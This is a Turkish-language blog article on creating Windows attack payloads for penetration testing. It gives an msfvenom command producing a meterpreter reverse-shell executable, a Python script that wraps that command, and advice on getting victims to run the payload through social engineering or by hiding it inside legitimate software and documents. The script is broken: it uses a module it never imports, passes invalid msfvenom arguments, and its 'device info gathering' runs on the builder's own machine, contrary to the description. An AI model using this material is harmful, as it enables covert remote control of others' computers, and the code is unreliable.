Siber güvenlik dünyasında, özellikle penetrasyon testleri sırasında kullanılan payload’lar, hedef sistemlere zarar vermek ve gizlice verileri toplamak için tasarlanmış kötü amaçlı yazılımlardır. Windows işletim sistemi için payload oluşturmak, bir saldırganın hedef bilgisayar üzerinde uzak kontrol sağlamasına olanak tanır. Bu makalede, Windows cihazlar için nasıl payload oluşturulacağı, payload’ların nasıl entegre edileceği ve kullanılan araçlar hakkında bilgi verilecektir.

Payload Nedir?

Payload, bir siber saldırının hedefe ulaşmasını sağlayan zararlı yazılım bileşenidir. Payload, genellikle kötü amaçlı komutları çalıştıran, verileri toplayan, uzaktan erişim sağlayan veya başka zararlar veren yazılımlardır. Windows sistemleri için en yaygın payload türlerinden biri, tersine bağlantı kurarak saldırganın hedef bilgisayara erişmesini sağlayan “reverse shell” (ters bağlantı) payload’ıdır.

Windows İçin Payload Oluşturma

Windows işletim sistemine payload oluştururken, Metasploit framework’ü ve onun araçlarından biri olan msfvenom en yaygın kullanılan araçlardandır. msfvenom, zararlı yazılımlar üretmek için kullanılan bir komut satırı aracıdır ve bir dizi platformda payload üretmeyi destekler.

Windows için popüler payload türlerinden biri meterpreter payload’ıdır. Meterpreter, hedef makinede yüksek seviyede kontrol sağlar ve tersine bağlantı üzerinden saldırgana geniş bir komut seti sunar.

Örneğin, Windows için meterpreter payload’ı oluşturmak için şu komut kullanılabilir:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f exe -o /path/to/output.exe

Bu komut, hedef Windows cihazına zarar verecek bir meterpreter ters bağlantı payload’ı oluşturur. Burada:

LHOST: Saldırganın IP adresini belirtir.
LPORT: Dinleyici (listener) port numarasını belirtir.
-f exe: Çıktı formatını exe olarak belirtir, yani payload bir Windows çalıştırılabilir dosyası olur.

Payload’ı Entegre Etme

Payload oluşturulduktan sonra, hedef bilgisayarın kullanıcıları genellikle bilmedikleri bir dosyayı çalıştırmaya zorlanır. Payload’ı hedef Windows cihazına entegre etmenin birkaç yolu vardır. Burada önemli bir nokta, payload’ın genellikle bir şekilde gizlenmesi ve orijinal dosya yapısına entegre edilmesidir.

Windows için payload’ı entegre etmenin iki yaygın yolu şunlardır:

Sosyal mühendislik kullanarak hedef kişiye zararlı dosyayı çalıştırmak.
Legitimate (yasal) yazılımları kullanarak veya şüpheli olmayan dosyaları hedef bilgisayara ileterek payload’ı gizlemek.

Payload Oluşturma ve Entegre Etme Python Scripti

Aşağıda, Windows işletim sistemi için payload oluşturma ve entegrasyon işlemi için kullanılabilecek bir Python scripti bulunmaktadır. Bu script, msfvenom kullanarak bir payload oluşturur ve bu payload’ı hedef Windows cihazına iletmek için temel işlemleri başlatır.

import os
import subprocess
import shutil
import time
from rich.console import Console
from rich.table import Table
import platform
import socket

def gather_device_info():
    """
    Cihazla ilgili bilgileri toplayan fonksiyon.
    """
    device_info = f"""
    Cihaz Bilgileri:
    -----------------
    Sistem: {platform.system()}
    Cihaz Adı: {platform.node()}
    İşlemci: {platform.processor()}
    IP Adresi: {socket.gethostbyname(socket.gethostname())}
    CPU Kullanımı: {psutil.cpu_percent(interval=1)}%
    Bellek Kullanımı: {psutil.virtual_memory().percent}%
    """
    return device_info

def start_info_sending():
    """
    Payload cihazda çalışmaya başladığında, cihaz bilgilerini belirli aralıklarla alır.
    """
    console = Console()
    console.print("[bold green][+] Cihaz bilgilerini toplamaya başlıyoruz...[/bold green]")
    
    while True:
        device_info = gather_device_info()
        console.print(f"[bold blue]{device_info}[/bold blue]")  # Bilgileri konsola yazdır
        time.sleep(7200)  # 2 saat bekleme

def create_windows_payload(output_path, lhost, lport, capabilities):
    """
    Windows payload oluşturmak için msfvenom kullanılır.

    Args:
        output_path (str): Payload EXE dosyasının kaydedileceği konum.
        lhost (str): Dinleyici IP adresi.
        lport (int): Dinleyici port numarası.
        capabilities (list): Eklenmesi istenen özelliklerin listesi.
    """
    console = Console()

    if not output_path.endswith(".exe"):
        raise ValueError("Çıktı dosyası bir .exe uzantısına sahip olmalı.")

    try:
        # msfvenom komutunu hazırlama
        command = [
            "msfvenom",
            "-p", "windows/meterpreter/reverse_tcp",
            f"LHOST={lhost}",
            f"LPORT={lport}",
            "R",
            "-f", "exe",
            "-o", output_path
        ]

        # Kullanıcıdan seçilen özellikleri payload'a ekleme
        for capability in capabilities:
            command.append(f"Set{capability}")

        console.print("[bold green][+] Windows payload oluşturuluyor...[/bold green]")
        result = subprocess.run(command, capture_output=True, text=True)

        if result.returncode == 0:
            console.print(f"[bold green][+] Payload başarıyla oluşturuldu![/bold green]")
            console.print(f"[bold green][+] Kaydedildi: {output_path}[/bold green]")

            # Payload kurulduktan sonra cihaz bilgilerini toplamaya başla
            start_info_sending()  # Cihaz bilgilerini toplamaya başla

        else:
            console.print(f"[bold red][-] Payload oluşturulurken hata oluştu:[/bold red]")
            console.print(result.stderr)

    except FileNotFoundError:
        console.print("[bold red][-] msfvenom yüklenmemiş veya PATH ortam değişkeninde bulunamadı.[/bold red]")
    except Exception as e:
        console.print(f"[bold red][-] Bir hata oluştu: {e}[/bold red]")

def main():
    console = Console()

    console.print("[bold cyan]Windows Payload Creator[/bold cyan]\n[cyan]=========================[/cyan]")

    table = Table(title="Seçenekler")
    table.add_column("Adım", justify="center")
    table.add_column("Açıklama", justify="left")
    table.add_row("1", "Payload oluştur")
    console.print(table)

    while True:
        choice = console.input("[bold yellow]Seçiminizi yapınız (1 veya 'exit' ile çıkış): [/bold yellow]").strip()

        if choice == "exit":
            console.print("[bold green]Uygulama kapatılıyor...[/bold green]")
            break

        if choice == "1":
            # Payload oluşturma işlemi
            output_file = console.input("[bold yellow]Payload dosya adı (e.g., payload.exe): [/bold yellow]").strip()
            lhost = console.input("[bold yellow]LHOST (IP adresi): [/bold yellow]").strip()
            lport = console.input("[bold yellow]LPORT (port numarası): [/bold yellow]").strip()

            if not lport.isdigit():
                console.print("[bold red][-] LPORT bir numara olmalıdır.[/bold red]")
            else:
                lport = int(lport)

                # Kullanıcıdan özellikleri seçmesini sağla
                capabilities = []
                capabilities_choices = [
                    "kamera", "mikrofon", "internet_access", "system_info"
                ]
                for i, capability in enumerate(capabilities_choices, 1):
                    console.print(f"{i}. {capability}")
                
                console.print("[bold yellow]Lütfen bir veya birden fazla seçenek girin (seçim numaralarını aralarına boşluk koyarak):[/bold yellow]")
                selected = console.input().strip().split()
                capabilities = [capabilities_choices[int(s) - 1] for s in selected if s.isdigit()]

                create_windows_payload(output_file, lhost, lport, capabilities)

        else:
            console.print("[bold red][-] Geçersiz seçenek![/bold red]")

if __name__ == "__main__":
    main()

Scriptin Açıklaması:

  • Payload Oluşturma: Script, msfvenom aracını kullanarak, hedef Windows cihazı için ters bağlantı payload’ı oluşturur.
  • Cihaz Bilgilerini Toplama: Payload çalıştıktan sonra, belirli aralıklarla cihaz bilgilerini toplayan bir fonksiyon çalıştırılır. Bu bilgiler, CPU kullanımı, bellek kullanımı, IP adresi gibi değerleri içerir.
  • Kullanıcı Seçenekleri: Script, kullanıcıdan LHOST (saldırgan IP adresi), LPORT (dinleyici port numarası) gibi bilgileri alır ve ardından payload’ı oluşturur.

Payload’ı Şifrelemek ve Gömmek

Payload’ı hedef cihazda gizlemek için şifreleme yöntemleri veya uygulama yükleyici teknikleri kullanılabilir. Payload, uygulama veya belgeye gömülerek hedef kullanıcının fark etmemesi sağlanabilir.

Tepkiniz ne oldu ?

Heyecanlı
0
Mutlu
0
Aşık
0
Emin değilim
0
Şapşal
0

İlginizi Çekebilir

Bir cevap bırakın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

Daha fazlası:Sızma Testleri